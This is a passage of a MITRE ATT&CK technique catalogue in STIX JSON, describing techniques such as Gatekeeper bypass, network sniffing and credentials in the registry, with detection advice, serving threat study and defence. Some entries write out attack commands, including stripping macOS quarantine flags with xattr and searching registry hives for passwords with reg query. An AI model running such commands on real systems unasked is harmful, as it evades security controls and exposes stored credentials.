later"],"x_mitre_effective_permissions":["Administrator","SYSTEM"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e","type":"attack-pattern","created":"2020-02-05T16:16:08.471Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1553.001","url":"https://attack.mitre.org/techniques/T1553/001"},{"source_name":"TheEclecticLightCompany apple notarization ","url":"https://eclecticlight.co/2020/08/28/how-notarization-works/","description":"How Notarization Works. (2020, August 28). How notarization works. Retrieved September 13, 2021."},{"url":"https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/","description":"Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017.","source_name":"Bypassing Gatekeeper"},{"source_name":"20 macOS Common Tools and Techniques","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."},{"source_name":"TheEclecticLightCompany Quarantine and the flag","url":"https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/","description":"hoakley. (2020, October 29). Quarantine and the quarantine flag. Retrieved September 13, 2021."},{"source_name":"theevilbit gatekeeper bypass 2021","url":"https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/","description":"Csaba Fitzl. (2021, June 29). GateKeeper - Not a Bypass (Again). Retrieved September 22, 2021."},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.","source_name":"Methods of Mac Malware Persistence"},{"url":"https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/","description":"Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017.","source_name":"Clearing quarantine attribute"},{"url":"https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update","description":"Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.","source_name":"OceanLotus for OS X"}],"modified":"2021-10-14T21:18:30.629Z","name":"Gatekeeper Bypass","description":"Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls in macOS. When documents, applications, or programs are downloaded an extended attribute (xattr) called <code>com.apple.quarantine</code> can be set on the file by the application performing the download. This attribute, also known as a quarantine flag, is read by Apple's Gatekeeper defense program when the file is run and provides a prompt to the user to allow or deny execution. Gatekeeper also monitors an application's usage of dynamic libraries (dylibs) loaded outside the application folder on any quarantined binary, often using the <code>dlopen</code> function. If the quarantine flag is set in macOS 10.15+, Gatekeeper also checks for a notarization ticket and sends a cryptographic hash to Apple's servers to check for validity for all unsigned executables.(Citation: TheEclecticLightCompany apple notarization )(Citation: Bypassing Gatekeeper)\n\nThe quarantine flag is an opt-in system and not imposed by macOS. If an application opts-in, a file downloaded from the Internet will be given a quarantine flag before being saved to disk. Any application or user with write permissions to the file can change or strip the quarantine flag. With elevated permission (sudo), this attribute can be removed from any file. The presence of the <code>com.apple.quarantine</code> quarantine flag can be checked with the xattr command <code>xattr -l /path/to/examplefile</code>. Similarly, this attribute can be recursively removed from all files in a folder using xattr, <code>sudo xattr -d com.apple.quarantine /path/to/folder</code>.(Citation: 20 macOS Common Tools and Techniques)(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: theevilbit gatekeeper bypass 2021)\n\nApps and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the <code>curl</code> command do not set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), which may bypass Gatekeeper. (Citation: Methods of Mac Malware Persistence)(Citation: Clearing quarantine attribute)(Citation: OceanLotus for OS X)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"The removal of the <code>com.apple.quarantine</code> flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as <code>xattr</code>. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Monitor software update frameworks that strip the <code>com.apple.quarantine</code> flag when performing updates. \n\nReview <code>false</code> values under the <code>LSFileQuarantineEnabled</code> entry in an application's <code>Info.plist</code> file (required by every application). <code>false</code> under <code>LSFileQuarantineEnabled</code> indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified <code>LSFileQuarantineEnabled</code> entry will default to not setting the quarantine flag. \n\nQuarantineEvents is a SQLite database containing a list of all files assigned the <code>com.apple.quarantine</code> attribute, located at <code>~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2</code>. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine and the flag)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Metadata","Command: Command Execution","File: File Modification","Process: Process Creation"],"x_mitre_defense_bypassed":["Application control","Anti-virus"],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9","type":"attack-pattern","created":"2021-03-17T20:33:20.127Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1608.004","url":"https://attack.mitre.org/techniques/T1608/004"},{"source_name":"FireEye CFR Watering Hole 2012","url":"https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html","description":"Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020."},{"source_name":"Gallagher 2015","description":"Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as “watering holes”. Retrieved January 25, 2016.","url":"http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/"},{"source_name":"ATT ScanBox","url":"https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks","description":"Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."}],"modified":"2022-03-08T21:59:57.082Z","name":"Drive-by Target","description":"Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).\n\nAdversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including inserting malicious script into web pages or other user controllable web content such as forum posts. Adversaries may also craft malicious web advertisements and purchase ad space on a website through legitimate ad providers. In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Internet Scan: Response Content"]},{"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","created":"2017-05-31T21:30:21.315Z","x_mitre_version":"1.3","external_references":[{"source_name":"mitre-attack","external_id":"T1007","url":"https://attack.mitre.org/techniques/T1007"},{"url":"https://capec.mitre.org/data/definitions/574.html","source_name":"capec","external_id":"CAPEC-574"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as <code>sc query</code>, <code>tasklist /svc</code>, <code>systemctl --type=service</code>, and <code>net start</code>.\n\nAdversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.","modified":"2022-04-19T02:39:54.386Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"System Service Discovery","x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Process: Process Creation","Command: Command Execution"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows","Network","IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Oleg Kolesnikov, Securonix","Tiago Faria, 3CORESec"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","created":"2017-05-31T21:30:41.399Z","x_mitre_version":"1.3","external_references":[{"source_name":"mitre-attack","external_id":"T1040","url":"https://attack.mitre.org/techniques/T1040"},{"source_name":"AWS Traffic Mirroring","url":"https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html","description":"Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022."},{"source_name":"GCP Packet Mirroring","url":"https://cloud.google.com/vpc/docs/packet-mirroring ","description":"Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022."},{"source_name":"SpecterOps AWS Traffic Mirroring","url":" https://posts.specterops.io/through-the-looking-glass-part-1-f539ae308512 ","description":"Luke Paine. (2020, March 11). Through the Looking Glass — Part 1. Retrieved March 17, 2022."},{"source_name":"Azure Virtual Network TAP","url":"https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview","description":"Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022."},{"source_name":"Rhino Security Labs AWS VPC Traffic Mirroring","url":"https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/ ","description":"Spencer Gietzen. (2019, September 17). Abusing VPC Traffic Mirroring in AWS. Retrieved March 17, 2022."},{"url":"https://capec.mitre.org/data/definitions/158.html","source_name":"capec","external_id":"CAPEC-158"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.\n\nIn cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring) (Citation: GCP Packet Mirroring) (Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring) (Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic. (Citation: Rhino Security Labs AWS VPC Traffic Mirroring)","modified":"2022-04-19T15:22:53.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Network Sniffing","x_mitre_detection":"Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\n\nIn cloud-based environments, monitor for the creation of new traffic mirrors or modification of existing traffic mirrors.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"},{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Command: Command Execution","Process: Process Creation"],"x_mitre_system_requirements":["Network interface access and packet capture driver"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61","type":"attack-pattern","created":"2017-05-31T21:30:27.755Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1017","external_id":"T1017"},{"external_id":"CAPEC-187","source_name":"capec","url":"https://capec.mitre.org/data/definitions/187.html"}],"modified":"2020-03-23T15:40:50.965Z","name":"Application Deployment Software","description":"Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_system_requirements":["Access to application deployment software (EPO, HPCA, Altiris, etc.)"]},{"x_mitre_platforms":["macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","type":"attack-pattern","created":"2020-02-05T16:27:37.784Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1553.002","url":"https://attack.mitre.org/techniques/T1553/002"},{"url":"https://en.wikipedia.org/wiki/Code_signing","description":"Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.","source_name":"Wikipedia Code Signing"},{"url":"https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/","description":"Ladikov, A. (2015, January 29). Why You Shouldn’t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.","source_name":"Securelist Digital Certificates"},{"url":"http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates","description":"Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.","source_name":"Symantec Digital Certificates"}],"modified":"2020-02-10T19:51:01.601Z","name":"Code Signing","description":"Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing) \n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Metadata"],"x_mitre_defense_bypassed":["Windows User Account Control"]},{"x_mitre_platforms":["IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Netskope","Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7","type":"attack-pattern","created":"2019-08-30T18:07:27.741Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1530","source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1530"},{"source_name":"Amazon S3 Security, 2019","url":"https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/","description":"Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019."},{"source_name":"Microsoft Azure Storage Security, 2019","url":"https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide","description":"Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019."},{"source_name":"Google Cloud Storage Best Practices, 2019","url":"https://cloud.google.com/storage/docs/best-practices","description":"Google. (2019, September 16). Best practices for Cloud Storage. Retrieved October 4, 2019."},{"source_name":"Trend Micro S3 Exposed PII, 2017","url":"https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia","description":"Trend Micro. (2017, November 6). A Misconfigured Amazon S3 Exposed Almost 50 Thousand PII in Australia. Retrieved October 4, 2019."},{"source_name":"Wired Magecart S3 Buckets, 2019","url":"https://www.wired.com/story/magecart-amazon-cloud-hacks/","description":"Barrett, B.. (2019, July 11). Hack Brief: A Card-Skimming Hacker Group Hit 17K Domains—and Counting. Retrieved October 4, 2019."},{"source_name":"HIPAA Journal S3 Breach, 2017","url":"https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/","description":"HIPAA Journal. (2017, October 11). 47GB of Medical Records and Test Results Found in Unsecured Amazon S3 Bucket. Retrieved October 4, 2019."}],"modified":"2021-03-08T10:33:01.374Z","name":"Data from Cloud Storage Object","description":"Adversaries may access data objects from improperly secured cloud storage.\n\nMany cloud service providers offer solutions for online data storage such as Amazon S3, Azure Storage, and Google Cloud Storage. These solutions differ from other storage solutions (such as SQL or Elasticsearch) in that there is no overarching application. Data from these solutions can be retrieved directly using the cloud provider's APIs. Solution providers typically offer security guides to help end users configure systems.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019)\n\nMisconfiguration by end users is a common problem. There have been numerous incidents where cloud storage has been improperly secured (typically by unintentionally allowing public access by unauthenticated users or overly-broad access by all users), allowing open access to credit cards, personally identifiable information, medical records, and other sensitive information.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017) Adversaries may also obtain leaked credentials in source repositories, logs, or other means as a way to gain access to cloud storage objects that have access permission controls.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Monitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set that is allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Cloud Storage: Cloud Storage Access"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490","type":"attack-pattern","created":"2020-03-02T14:30:05.252Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1565.003","url":"https://attack.mitre.org/techniques/T1565/003"},{"description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://content.fireeye.com/apt/rpt-apt38","source_name":"FireEye APT38 Oct 2018"},{"source_name":"DOJ Lazarus Sony 2018","url":"https://www.justice.gov/opa/press-release/file/1092091/download","description":"Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."}],"modified":"2022-03-25T19:24:18.545Z","name":"Runtime Data Manipulation","description":"Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_detection":"Inspect important application binary file hashes, locations, and modifications for suspicious/unexpected values.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Metadata","File: File Deletion","File: File Creation","Process: OS API Execution","File: File Modification"],"x_mitre_impact_type":["Integrity"],"x_mitre_permissions_required":["User","Administrator","root","SYSTEM"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Sudhanshu Chauhan, @Sudhanshu_C"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580","type":"attack-pattern","created":"2020-02-04T12:58:40.678Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1552.002","url":"https://attack.mitre.org/techniques/T1552/002"},{"url":"https://pentestlab.blog/2017/04/19/stored-credentials/","description":"netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.","source_name":"Pentestlab Stored Credentials"}],"modified":"2020-02-07T20:49:18.834Z","name":"Credentials in Registry","description":"Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>\n* Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Windows Registry: Windows Registry Key Access","Command: Command Execution"],"x_mitre_permissions_required":["Administrator","User"],"x_mitre_system_requirements":["Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys."]},{"x_mitre_platforms":["macOS","Windows","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1135","url":"https://attack.mitre.org/techniques/T1135"},{"external_id":"CAPEC-643","source_name":"capec","url":"https://capec.mitre.org/data/definitions/643.html"},{"url":"https://en.wikipedia.org/wiki/Shared_resource","description":"Wikipedia. (2017, April 15). Shared resource. Retrieved June 30, 2017.","source_name":"Wikipedia Shared Resource"},{"url":"https://technet.microsoft.com/library/cc770880.aspx","description":"Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30, 2017.","source_name":"TechNet Shared Folder"}],"modified":"2021-10-13T18:10:57.185Z","name":"Network Share Discovery","description":"Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the <code>net view \\\\\\\\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>. For macOS, the <code>sharing -l</code> command lists all shared points used for smb services.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","x_mitre_version":"3.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: OS API Execution","Process: Process 